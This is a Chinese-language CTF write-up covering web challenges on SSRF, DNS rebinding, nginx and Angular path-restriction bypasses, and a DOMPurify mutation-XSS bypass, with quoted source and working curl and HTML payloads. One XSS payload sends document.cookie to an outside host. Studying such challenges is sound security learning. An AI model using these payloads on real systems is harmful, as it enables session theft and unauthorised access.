生活原本沉闷,但跑起来有风
Background
到学校有点水了,因为为了绩点,很多课都没逃,都在努力听(除了一些水到不行到课)国外的ctf比较有意思而且值得去做,以下是我的一些记录
urlcheck1
sourcecode
import os, re, requests, flask
from urllib.parse import urlparse
app = flask.Flask(__name__)
app.flag = '***CENSORED***'
app.re_ip = re.compile('\A(\d+)\.(\d+)\.(\d+)\.(\d+)\Z')
def valid_ip(ip):
matches = app.re_ip.match(ip)
if matches == None:
return False
ip = list(map(int, matches.groups()))
if any(i > 255 for i in ip) == True:
return False
# Stay out of my private!
if ip[0] in [0, 10, 127] \
or (ip[0] == 172 and (ip[1] > 15 or ip[1] < 32)) \
or (ip[0] == 169 and ip[1] == 254) \
or (ip[0] == 192 and ip[1] == 168):
return False
return True
def get(url, recursive_count=0):
r = requests.get(url, allow_redirects=False)
if 'location' in r.headers:
if recursive_count > 2:
return '🤔'
url = r.headers.get('location')
if valid_ip(urlparse(url).netloc) == False:
return '🤔'
return get(url, recursive_count + 1)
return r.text
@app.route('/admin-status')
def admin_status():
if flask.request.remote_addr != '127.0.0.1':
return '🥺'
return app.flag
@app.route('/check-status')
def check_status():
url = flask.request.args.get('url', '')
if valid_ip(urlparse(url).netloc) == False:
return '🥺'
return get(url)
:
关键代码:
def admin_status():
if flask.request.remote_addr != '127.0.0.1':
return '🥺'
return app.flag
一道典型的ssrf题目,思路也非常清晰,访问内网的admin_status路由即可获得flag,但这道题用remote_addr要求ip不能为127.0.0.1 ,但其实ip的表示法有很多,我们可以使用八进制的ip来bypass
推荐阅读文章:http://www.manongjc.com/detail/13-sfiyyfhuolweeda.html
urlcheck v2
sourcecode
import os, re, time, ipaddress, socket, requests, flask
from urllib.parse import urlparse
app = flask.Flask(__name__)
app.flag = '***CENSORED***'
def valid_ip(ip):
try:
result = ipaddress.ip_address(ip)
# Stay out of my private!
return result.is_global
except:
return False
def valid_fqdn(fqdn):
return valid_ip(socket.gethostbyname(fqdn))
def get(url, recursive_count=0):
r = requests.get(url, allow_redirects=False)
if 'location' in r.headers:
if recursive_count > 2:
return '🤔'
url = r.headers.get('location')
if valid_fqdn(urlparse(url).netloc) == False:
return '🤔'
return get(url, recursive_count + 1)
return r.text
@app.route('/admin-status')
def admin_status():
if flask.request.remote_addr != '127.0.0.1':
return '🥺'
return app.flag
@app.route('/check-status')
def check_status():
url = flask.request.args.get('url', '')
if valid_fqdn(urlparse(url).netloc) == False:
return '🥺'
return get(url)
:
:
拿到flag的思路还是一样,不同的是这回但这一次使用ipaddress库检查了IP地址,
按照我们输入的流程,可以将代码改写成
furl = urlparse(url).netloc
ip = socket.gethostbyname(furl)
is_global = ipaddress.ip_address(ip).is_global
首先netloc是不检测host名的
仔细读代码,上面的代码完成了两个DNS解析,首先是检查是否私有,然后是第二次请求资源,这里我们可以使用 dns rebingding attack了
DNS rebinding attack的基本概念是在TTL为0的特定ip之间快速更改映射到dns域中的ip(生存时间),即没有dns缓存,以便针对不同的dns请求获得不同的ip。 使用此方法,我们可以在valid_fqdn检查中获得主机ip作为公共地址,并在服务器发出的请求中获得localhost ip。
这里我们用一个国外师傅写好的在线工具
https://lock.cmpxchg8b.com/rebinder.html
将绑定ip设置为8.8.8.8和127.0.0.1
多尝试几次,成功get flag
推荐阅读:http://bendawang.site/2017/05/31/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93/
https://blog.csdn.net/liuyuyang1023/article/details/84582882
Angular of the Universe
下载源代码之后,发现是一个nginx配置文件
题目介绍很有意思
You know, everything has the angular. A bread, you, me and even the
- Do you know the answer?
首先po出源码
server {
listen 8080 default_server;
root /var/www/html;
server_name _;
location / {
proxy_pass http://app;
proxy_set_header Host $host;
}
location /debug {
# IP address restriction.
# TODO: add allowed IP addresses here
allow 127.0.0.1;
deny all;
}
}
通过题目介绍我们猜测 访问到flag的方法是/debug/flag 首先只允许127.0.0.1 但却并没有什么ssrf利用位点,
这里面比较有意思的一个点就是proxy_pass,
我查阅了nginx proxy_pass的相关资料:http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_pass
nginx的位置之类的判断是在解释/../等之后做出的。 如果题不将/添加到proxy_pass的末尾,则解释之前的URL照原样传递
我刚才做到这道题的时候就卡在这里了,我的想法就是bypass这个debug机制,使用url编码的形式%64ebug,但是还是访问拒绝了,我搜索资料发现
特定nginx规则不易受到路径遍历的影响, curl 正在重写有关 / URL的请求,如在输出中所示,这时候我们可以使用
curl 7.42.0添加的一个新规则
curl --path-as-is
我们可以查看官方文档的描述
其中有一条这么写的
这指示libcurl不要吞掉URL路径部分中可能存在的“ /../”或“ /./”序列,
明白了,flag可能是在这个目录下的其他文件但我们不知道具体是什么,那么我们就很好构造了
这里我们使用 绕过Nginx限制。 node.js将/ debug / answer转化为/ debug / answer。
payload:curl --path-as-is 'http://universe.chal.ctf.westerns.tokyo/%64ebug/answer'
成功get flag
但是题目有趣的点就在这了,有两个flag
2.flag
在文件server.ts里面,我们可以找到这么一段代码
server.get('/api/true-answer', (req, res) => {
console.log('HIT: %s', req.ip)
if (req.ip.match(/127\.0\.0\.1/)) {
res.json(`hello admin, this is true answer: ${process.env.FLAG2}`)
} else {
res.status(500).send('Access restricted!')
}
});
又是个ssrf,p.s.(国外都是这种题目)
Angular HTTP模块使用其服务器主机名构造目标URL,该服务器主机名源自HTTP请求中的Host标头,参考链接:https://github.com/angular/angular/blob/10.1.x/packages/platform-server/src/http.ts#L119
参考GACTF,还有很久以前的Tctf,我们在自己的服务器上写一个跳转到:127.0.0.1/api/true-answer即可
Flag1还有个神奇的非预期
当Angular尝试匹配路径时,它将解析从PROTOCOL + HOST + PATH创建的URL。
payload:curl 'http://universe.chal.ctf.westerns.tokyo' -H 'Host: debuganswer'
由于我们将 debug answer作为主机注入,因此Angular解析http:// debug answer 并将路径检索为/ debug / answer
还是成功拿到了flag
Angular of Another Universe
这个和第一个很像,下载文件之后发现多了一个Apathe文件夹
配置文件如下
<VirtualHost *:80>
<Location /debug>
Order Allow,Deny
Deny from all
</Location>
ProxyRequests Off
ProxyPreserveHost on
ProxyPass / http://nginx:8080/
</VirtualHost>
so,现在的渲染是 Apache -> Nginx -> Express -> Angular
不仅如此 其实还做了点小变动 req.path.includes('debug') -> req.path.includes('/debug')
这题的方法还是跟上题一样通过/debug/answer获得flag
而现在不能使用了
我当时的思路还是闭塞了,当时一直想着怎么转换,但是忽略了很多东西,我询问了一个外国的师傅
他回我
Why not try to read the official documentation
恍然大悟,于是连忙翻看Angular文档,边看边翻译(我太菜了)
https://angular.io/api/router/RouterOutlet#description
在这里你可以这样写angularjs
/team/11(aux:chat/jim)
通过使用primary标签进行构造
(primary:%64ebug/answer),别忘了前面要加/
最终payload:curl --path-as-is 'http://another-universe.chal.ctf.westerns.tokyo/(primary:debug/answer)'
bfnote
开局一看到框框,我就知道了,又是熟悉的xss题目,其实思路已经有了,肯定是要提交一个exp,分享然后带出来cookies,google ctf 2020就有这种题目
这题只有18个师傅做出来,上一道只有8道(QAQ),是真的做不出来,上一题没提示我也做不出来,所以我收集别的师傅的wp来复现一下
得到提示
直接访问可以获得源码
但实际上这还有个可疑的文件
写wp的师傅说这个是爆的一个洞,
bypass payload
<form><math><mtext></form><form><mglyph><style><img src=x onerror=alert()>
而刚才js里面对这个的防护只是删除了form子代的math标签
var elms = ["a","abbr","acronym","address","area","article","aside","audio","b","bdi","bdo","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","content","data","datalist","dd","decorator","del","details","dfn","dir","div","dl","dt","element","em","fieldset","figcaption","figure","font","footer","form","h1","h2","h3","h4","h5","h6","head","header","hgroup","hr","html","i","img","input","ins","kbd","label","legend","li","main","map","mark","marquee","menu","menuitem","meter","nav","nobr","ol","optgroup","option","output","p","picture","pre","progress","q","rp","rt","ruby","s","samp","section","select","shadow","small","source","spacer","span","strike","strong","style","sub","summary","sup","table","tbody","td","template","textarea","tfoot","th","thead","time","tr","track","tt","u","ul","var","video","wbr"];
for(let el of elms){
let p = `<form><math><mtext></form><${el}><mglyph><style><img>`;
document.body.innerHTML = p;
let old = document.body.innerHTML;
document.body.innerHTML = old;
if(document.body.innerHTML != old){
console.log(p);
}
}
payload如下
<math><mtext><table><mglyph><style><img src=x onerror=alert()>
接下来就是带cookies了
师傅的payload是:
<math><mtext><table><mglyph><style><img src=x onerror=location=location.pathname+/terjanq.me/+document.cookie>
我测试并没成功,也不知道是环境的事还是什么原因
后记
做题和想题的时间很长,我也是很用心的尽量复现了我当时做题的过程,国外的题是真的能学到很多东西,肝题忘了吃饭的那几个小时很爽,希望自己能越来越强